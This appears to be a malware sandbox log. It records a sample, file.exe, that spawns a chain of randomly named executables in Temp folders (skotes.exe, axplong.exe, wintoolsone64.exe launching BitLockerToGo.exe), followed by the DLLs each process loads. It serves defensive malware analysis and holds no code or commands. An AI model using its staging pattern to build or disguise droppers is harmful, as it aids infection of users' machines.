Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe "C:\Users\user~1\AppData\Local\Temp\1002448001\9de8348ea3.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe "C:\Users\user~1\AppData\Local\Temp\1001195001\cc1af330ba.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe "C:\Users\user~1\AppData\Local\Temp\1001196001\69f64d774a.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe "C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe "C:\Users\user~1\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe "C:\Users\user~1\AppData\Local\Temp\1001698001\8301009305.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe "C:\Users\user~1\AppData\Local\Temp\1001776101\4264524541.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe "C:\Users\user~1\AppData\Local\Temp\1002431001\wintoolsone64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe "C:\Users\user~1\AppData\Local\Temp\1002448001\9de8348ea3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe "C:\Users\user~1\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe "C:\Users\user~1\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe "C:\Users\user~1\AppData\Local\Temp\1001195001\cc1af330ba.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe "C:\Users\user~1\AppData\Local\Temp\1001196001\69f64d774a.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: version.dll
